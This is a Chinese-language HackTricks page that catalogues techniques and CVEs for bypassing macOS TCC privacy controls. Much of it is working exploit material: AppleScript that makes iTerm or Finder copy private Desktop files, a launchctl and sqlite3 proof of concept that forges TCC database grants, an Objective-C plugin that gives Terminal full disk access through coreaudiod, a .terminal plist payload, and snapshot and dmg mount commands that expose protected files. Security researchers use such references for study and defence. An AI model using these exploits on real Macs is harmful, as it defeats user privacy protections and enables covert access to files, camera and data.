# macOS TCC绕过
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥 * 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
## 按功能分类 ### 写入绕过 这不是一个绕过,这只是TCC的工作原理:**它不会阻止写入操作**。如果终端**无法读取用户的桌面,它仍然可以写入其中**: ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % echo asd > Desktop/lalala username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % cat Desktop/lalala asd ``` **扩展属性`com.apple.macl`**被添加到新的**文件**中,以使**创建者的应用程序**能够访问它。 ### SSH绕过 默认情况下,通过**SSH**访问将具有**"完全磁盘访问"**权限。为了禁用此权限,您需要将其列出但禁用(从列表中删除不会删除这些权限): ![](<../../../../.gitbook/assets/image (569).png>) 在这里,您可以找到一些**恶意软件如何绕过此保护**的示例: * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) {% hint style="danger" %} 请注意,现在为了能够启用SSH,您需要**完全磁盘访问**权限 {% endhint %} ### 处理扩展名 - CVE-2022-26767 属性**`com.apple.macl`**被赋予文件以赋予**某个应用程序读取它的权限**。当用户通过**拖放**文件到应用程序上或者双击文件以使用**默认应用程序**打开它时,将设置此属性。 因此,用户可以**注册一个恶意应用程序**来处理所有扩展名,并调用启动服务来**打开**任何文件(因此恶意文件将被授予读取权限)。 ### iCloud 使用权限**`com.apple.private.icloud-account-access`**可以与**`com.apple.iCloudHelper`** XPC服务进行通信,该服务将**提供iCloud令牌**。 **iMovie**和**Garageband**具有此权限以及其他权限。 有关从该权限中获取iCloud令牌的漏洞的更多**信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automation 具有**`kTCCServiceAppleEvents`**权限的应用程序将能够**控制其他应用程序**。这意味着它可以滥用授予其他应用程序的权限。 有关Apple脚本的更多信息,请查看: {% content-ref url="macos-apple-scripts.md" %} [macos-apple-scripts.md](macos-apple-scripts.md) {% endcontent-ref %} 例如,如果一个应用程序具有对`iTerm`的**自动化权限**,例如在此示例中**`Terminal`**具有对iTerm的访问权限:
#### 在iTerm上 没有FDA的Terminal可以调用具有FDA的iTerm,并使用它执行操作: {% code title="iterm.script" %} ```applescript tell application "iTerm" activate tell current window create tab with default profile end tell tell current session of current window write text "cp ~/Desktop/private.txt /tmp" end tell end tell ``` {% endcode %} ```bash osascript iterm.script ``` #### 通过Finder 或者,如果一个应用程序在Finder上具有访问权限,它可以使用以下脚本之一: ```applescript set a_user to do shell script "logname" tell application "Finder" set desc to path to home folder set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text end tell do shell script "rm " & POSIX path of (copyFile as alias) ``` ## 通过应用行为 ### CVE-2020–9934 - TCC 用户空间的 **tccd 守护进程** 使用 **`HOME`** **env** 变量来访问 TCC 用户数据库:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 根据[这个 Stack Exchange 帖子](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)和因为 TCC 守护进程是通过 `launchd` 在当前用户域中运行的,可以**控制传递给它的所有环境变量**。\ 因此,攻击者可以在 **`launchctl`** 中设置 `$HOME` 环境变量,指向一个**受控的目录**,然后**重新启动** TCC 守护进程,然后直接修改 TCC 数据库,以获取自己所需的**所有 TCC 权限**,而无需提示最终用户。\ PoC: ```bash # reset database just in case (no cheating!) $> tccutil reset All # mimic TCC's directory structure from ~/Library $> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC" # cd into the new directory $> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/" # set launchd $HOME to this temporary directory $> launchctl setenv HOME /tmp/tccbypass # restart the TCC daemon $> launchctl stop com.apple.tccd && launchctl start com.apple.tccd # print out contents of TCC database and then give Terminal access to Documents $> sqlite3 TCC.db .dump $> sqlite3 TCC.db "INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder', 'com.apple.Terminal', 0, 1, 1, X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003', NULL, NULL, 'UNUSED', NULL, NULL, 1333333333333337);" # list Documents directory without prompting the end user $> ls ~/Documents ``` ### CVE-2021-30761 - 笔记 笔记可以访问 TCC 保护的位置,但是当创建笔记时,它会被创建在一个非受保护的位置。因此,你可以要求笔记将受保护的文件复制到一个笔记中(即非受保护的位置),然后访问该文件:
### CVE-2021-XXXX - 迁移 二进制文件 `/usr/libexec/lsd` 与库 `libsecurity_translocate` 具有权限 `com.apple.private.nullfs_allow`,允许其创建 **nullfs** 挂载,并具有权限 `com.apple.private.tcc.allow` 与 **`kTCCServiceSystemPolicyAllFiles`** 以访问所有文件。 可以将隔离属性添加到 "Library",调用 **`com.apple.security.translocation`** XPC 服务,然后它将将 Library 映射到 **`$TMPDIR/AppTranslocation/d/d/Library`**,从而可以访问 Library 中的所有文档。 ### SQL 跟踪 如果环境变量 **`SQLITE_AUTO_TRACE`** 被设置,库 **`libsqlite3.dylib`** 将开始记录所有的 SQL 查询。许多应用程序使用此库,因此可以记录它们的所有 SQLite 查询。 几个 Apple 应用程序使用此库来访问 TCC 保护的信息。 ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 ``` ### Apple远程桌面 作为root用户,您可以启用此服务,并且ARD代理将具有完全磁盘访问权限,用户可以滥用此权限使其复制新的TCC用户数据库。 ## 通过插件 插件是额外的代码,通常以库或plist的形式存在,它们将由主应用程序加载并在其上下文中执行。因此,如果主应用程序可以访问TCC受限文件(通过授予权限或授予的权限),则自定义代码也将具有相同的访问权限。 ### CVE-2020-27937 - 目录实用工具 应用程序`/System/Library/CoreServices/Applications/Directory Utility.app`具有权限`kTCCServiceSystemPolicySysAdminFiles`,加载了扩展名为`.daplug`的插件,并且没有启用强化运行时。 为了利用此CVE,滥用先前的权限,将`NFSHomeDirectory`更改为能够接管用户的TCC数据库以绕过TCC。 有关更多信息,请查看[原始报告](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。 ### CVE-2020-29621 - Coreaudiod 二进制文件`/usr/sbin/coreaudiod`具有权限`com.apple.security.cs.disable-library-validation`和`com.apple.private.tcc.manager`。第一个权限允许代码注入,第二个权限允许其管理TCC。 该二进制文件允许从文件夹`/Library/Audio/Plug-Ins/HAL`加载第三方插件。因此,可以使用此PoC加载插件并滥用TCC权限: ```objectivec #import #import extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess); void add_tcc_entry() { CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles"); CFStringRef bundleID = CFSTR("com.apple.Terminal"); CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple"); SecRequirementRef requirement = NULL; SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement); CFDataRef requirementData = NULL; SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData); TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue); } __attribute__((constructor)) static void constructor(int argc, const char **argv) { add_tcc_entry(); NSLog(@"[+] Exploitation finished..."); exit(0); ``` 有关更多信息,请查看[**原始报告**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)。 ### 设备抽象层(DAL)插件 通过Core Media I/O打开相机流的系统应用程序(具有**`kTCCServiceCamera`**的应用程序)会在进程中加载位于`/Library/CoreMediaIO/Plug-Ins/DAL`中的这些插件(不受SIP限制)。 只需在其中存储一个具有常见**构造函数**的库即可用于**注入代码**。 几个Apple应用程序存在此漏洞。 ## 通过进程注入 有不同的技术可以在进程内注入代码并滥用其TCC权限: {% content-ref url="../../macos-proces-abuse/" %} [macos-proces-abuse](../../macos-proces-abuse/) {% endcontent-ref %} ### Firefox Firefox应用程序仍然存在漏洞,具有`com.apple.security.cs.disable-library-validation`权限: ```xml codesign -d --entitlements :- /Applications/Firefox.app Executable=/Applications/Firefox.app/Contents/MacOS/firefox com.apple.security.cs.allow-unsigned-executable-memory com.apple.security.cs.disable-library-validation com.apple.security.device.audio-input com.apple.security.device.camera com.apple.security.personal-information.location com.apple.security.smartcard ``` 有关如何轻松利用此漏洞的更多信息,请查看[**原始报告**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。 ### CVE-2020-10006 二进制文件`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl`具有权限**`com.apple.private.tcc.allow`**和**`com.apple.security.get-task-allow`**,允许在进程内注入代码并使用TCC权限。 ### CVE-2023-26818 - Telegram Telegram具有权限`com.apple.security.cs.allow-dyld-environment-variables`和`com.apple.security.cs.disable-library-validation`,因此可以滥用它以获取其权限,例如使用摄像头进行录制。您可以在[**写作中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。 ## 通过打开调用 可以在受沙盒限制的环境中调用打开。 ### 终端脚本 通常会为终端授予**完全磁盘访问权限(FDA)**,至少在技术人员使用的计算机上是如此。可以使用它来调用**`.terminal`**脚本。 **`.terminal`**脚本是plist文件,其中包含要在**`CommandString`**键中执行的命令: ```xml CommandString cp ~/Desktop/private.txt /tmp/; ProfileCurrentVersion 2.0600000000000001 RunCommandAsShell name exploit type Window Settings ``` 应用程序可以在/tmp等位置编写一个终端脚本,并使用如下命令启动它: ```objectivec // Write plist in /tmp/tcc.terminal [...] NSTask *task = [[NSTask alloc] init]; NSString * exploit_location = @"/tmp/tcc.terminal"; task.launchPath = @"/usr/bin/open"; task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` ## 通过挂载 ### CVE-2020-9771 - mount\_apfs TCC绕过和权限提升 **任何用户**(即使是非特权用户)都可以创建和挂载时间机器快照,并**访问该快照的所有文件**。\ 唯一需要的特权是所使用的应用程序(如`Terminal`)需要具有**完全磁盘访问权限**(FDA)(`kTCCServiceSystemPolicyAllfiles`),这需要由管理员授予。 {% code overflow="wrap" %} ```bash # Create snapshot tmutil localsnapshot # List snapshots tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local # Generate folder to mount it cd /tmp # I didn it from this folder mkdir /tmp/snap # Mount it, "noowners" will mount the folder so the current user can access everything /sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap # Access it ls /tmp/snap/Users/admin_user # This will work ``` {% endcode %} 更详细的解释可以在[原始报告中找到](https://theevilbit.github.io/posts/cve\_2020\_9771/)。 ### CVE-2021-1784和CVE-2021-30808 - 在TCC文件上挂载 即使TCC DB文件受到保护,仍然可以在目录上**挂载一个新的TCC.db文件**: {% code overflow="wrap" %} ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg # CVE-2021-1784 ## Mount over ~/Library hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg ``` {% endcode %} ```python # This was the python function to create the dmg def create_dmg(): os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null") os.system("mkdir /tmp/mnt") os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null") os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` 查看[原始文档](https://theevilbit.github.io/posts/cve-2021-30808/)中的**完整利用**。 ### asr 工具**`/usr/sbin/asr`**允许复制整个磁盘并将其挂载到另一个位置,绕过TCC保护。 ### 位置服务 在**`/var/db/locationd/clients.plist`**中有第三个TCC数据库,用于指示允许**访问位置服务**的客户端。\ 文件夹**`/var/db/locationd/`没有受到DMG挂载的保护**,因此可以挂载我们自己的plist。 ## 通过启动应用程序 {% content-ref url="../../../macos-auto-start-locations.md" %} [macos-auto-start-locations.md](../../../macos-auto-start-locations.md) {% endcontent-ref %} ## 通过grep 在许多情况下,文件会将敏感信息(如电子邮件、电话号码、消息等)存储在未受保护的位置(这在Apple中被视为漏洞)。
## 参考 * [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8) * [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) * [**20+ Ways to Bypass Your macOS Privacy Mechanisms**](https://www.youtube.com/watch?v=W9GxnP8c8FU) * [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**